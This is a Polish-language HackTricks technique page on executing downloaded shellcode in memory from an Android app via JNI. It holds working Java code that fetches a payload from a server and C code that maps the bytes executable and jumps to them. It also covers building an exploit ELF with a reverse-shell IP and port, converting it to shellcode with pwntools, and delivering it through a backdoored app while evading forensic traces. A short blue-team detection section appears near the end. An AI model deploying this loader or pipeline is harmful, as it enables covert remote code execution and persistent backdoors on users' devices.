5.5 KiB
Android Wykonanie natywnego kodu w pamięci via JNI (shellcode)
{{#include ../../banners/hacktricks-training.md}}
Ta strona dokumentuje praktyczny wzorzec wykonania natywnych payloadów całkowicie w pamięci z procesu nieufnej aplikacji Android przy użyciu JNI. Przepływ unika tworzenia jakiegokolwiek natywnego binarium na dysku: pobierz surowe bajty shellcode przez HTTP(S), przekaż je do mostka JNI, zaalokuj pamięć RX i skocz do niej.
Dlaczego to ważne
- Zmniejsza artefakty kryminalistyczne (brak ELF na dysku)
- Kompatybilne z “stage-2” native payloads generowanymi z ELF exploit binary
- Zgodne z tradecraft używanym przez nowoczesne malware i red teams
Schemat wysokiego poziomu
- Pobierz bajty shellcode w Java/Kotlin
- Wywołaj natywną metodę (JNI) z tablicą bajtów
- W JNI: alokuj pamięć RW → skopiuj bajty → mprotect do RX → wywołaj entrypoint
Minimalny przykład
Java/Kotlin side
public final class NativeExec {
static { System.loadLibrary("nativeexec"); }
public static native int run(byte[] sc);
}
// Download and execute (simplified)
byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes();
int rc = NativeExec.run(sc);
C — strona JNI (arm64/amd64)
#include <jni.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>
static inline void flush_icache(void *p, size_t len) {
__builtin___clear_cache((char*)p, (char*)p + len);
}
JNIEXPORT jint JNICALL
Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) {
jsize len = (*env)->GetArrayLength(env, sc);
if (len <= 0) return -1;
// RW anonymous buffer
void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (buf == MAP_FAILED) return -2;
jboolean isCopy = 0;
jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy);
if (!bytes) { munmap(buf, len); return -3; }
memcpy(buf, bytes, len);
(*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT);
// Make RX and execute
if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; }
flush_icache(buf, len);
int (*entry)(void) = (int (*)(void))buf;
int ret = entry();
// Optional: restore RW and wipe
mprotect(buf, len, PROT_READ | PROT_WRITE);
memset(buf, 0, len);
munmap(buf, len);
return ret;
}
Uwagi i zastrzeżenia
- W^X/execmem: Nowoczesny Android egzekwuje W^X; anonimowe mapowania PROT_EXEC są nadal zwykle dozwolone dla procesów aplikacji z JIT (z zastrzeżeniem polityki SELinux). Niektóre urządzenia/ROMy to ograniczają; w razie potrzeby cofnij się do JIT-allocated exec pools lub native bridges.
- Architektury: Upewnij się, że architektura shellcode odpowiada urządzeniu (zwykle arm64-v8a; x86 tylko na emulatorach).
- Kontrakt punktu wejścia: Ustal konwencję wejścia dla shellcode (bez argumentów vs wskaźnik do struktury). Zachowaj go niezależnym od pozycji (PIC).
- Stabilność: Wyczyść cache instrukcji przed skokiem; niezgodny cache może spowodować crash na ARM.
Packaging ELF → shellcode niezależny od pozycji Solidny pipeline operatorski wygląda następująco:
- Zbuduj swój exploit jako statyczny ELF za pomocą musl-gcc
- Konwertuj ELF na self‑loading shellcode blob używając pwntools’ shellcraft.loader_append
Kompilacja
musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
Przekształć ELF w surowy shellcode (przykład amd64)
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
loader = shellcraft.loader_append(elf.data, arch='amd64')
sc = asm(loader)
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}")
Dlaczego loader_append działa: emituje mały loader, który mapuje osadzone segmenty programu ELF w pamięci i przekazuje kontrolę do jego punktu wejścia, dając pojedynczy surowy blob, który można skopiować za pomocą memcpy i wykonać w aplikacji.
Dostarczenie
- Hostuj sc na serwerze HTTP(S) pod twoją kontrolą
- Aplikacja z backdoorem/testowa pobiera sc i wywołuje pokazany powyżej JNI bridge
- Nasłuchuj na maszynie operatora na wszelkie połączenia odwrotne, które payload kernelowy lub user-mode nawiąże
Proces walidacji dla payloadów jądra
- Użyj symbolizowanego vmlinux dla szybkiego reversing/odzyskiwania offsetów
- Prototypuj prymitywy na wygodnym obrazie debugowym, jeśli dostępny, ale zawsze ponownie waliduj na docelowym urządzeniu z Androidem (kallsyms, KASLR slide, układ tablic stron i mitigacje mogą się różnić)
Utwardzanie/Detekcja (blue team)
- Zabroń anonimowego PROT_EXEC w domenach aplikacji tam, gdzie to możliwe (polityka SELinux)
- Wymuszaj ścisłą integralność kodu (brak dynamicznego ładowania natywnych bibliotek z sieci) i weryfikuj kanały aktualizacji
- Monitoruj podejrzane przejścia mmap/mprotect do RX oraz duże kopiowania tablic bajtów poprzedzające skoki
Referencje
- CoRPhone challenge repo (Android kernel pwn; JNI memory-only loader pattern)
- build.sh (musl-gcc + pwntools pipeline)
- exp2sc.py (pwntools shellcraft.loader_append)
- exploit.c TL;DR (operator/kernel flow, offsets, reverse shell)
- INSTRUCTIONS.md (setup notes)
{{#include ../../banners/hacktricks-training.md}}